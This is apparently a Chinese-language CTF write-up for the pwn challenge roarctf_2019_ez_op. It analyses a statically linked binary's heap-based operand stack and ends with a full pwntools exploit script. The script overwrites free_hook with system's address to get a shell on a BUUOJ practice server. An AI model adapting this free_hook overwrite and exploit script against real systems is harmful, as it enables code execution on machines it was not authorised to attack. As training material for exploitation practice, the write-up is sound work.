知识点
- 静态链接的free_hook
- 函数识别
分析
- 首先通过start函数找到main函数
- 有些函数识别出来或者错误,凭借经验可以恢复,例如read函数
- 大概分析一下的到下图,程序首先读取操作,然后读取数据,然后开始处理数据
- 处理函数时又申请了两个堆,第一个堆用于保存在另一个堆的写入位置,其结构如下,可以看作是一种栈结构。取出操作数进行操作。
DWORD heap_ptr
DWORD size
DWORD idx
- 然后再向free_hook写入system函数的地址,处理函数结束后会free掉堆块触发system函数
细节
- 需要通过调试来了解堆块的分布
- 注意写入的data的顺序
exp
#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
#cli_script()
io=gift['io']=remote('node4.buuoj.cn',26115)
#io=gift['io']=process('./roarctf_2019_ez_op')
libc=gift['libc'] = ELF('./libc-2.27.so')
free_hook=0x80E09F0
success=0x8051C60
#opcode
sleep(0.1)
payload=b'10813 10813 269488144 10813 10813 269488144 10813 '
sl(payload)
#data
sleep(0.1)
payload=str(0x68733b)+' 70 '+str(free_hook)+' 69 '+str(success)
sl(payload)
ia()
Comments | NOTHING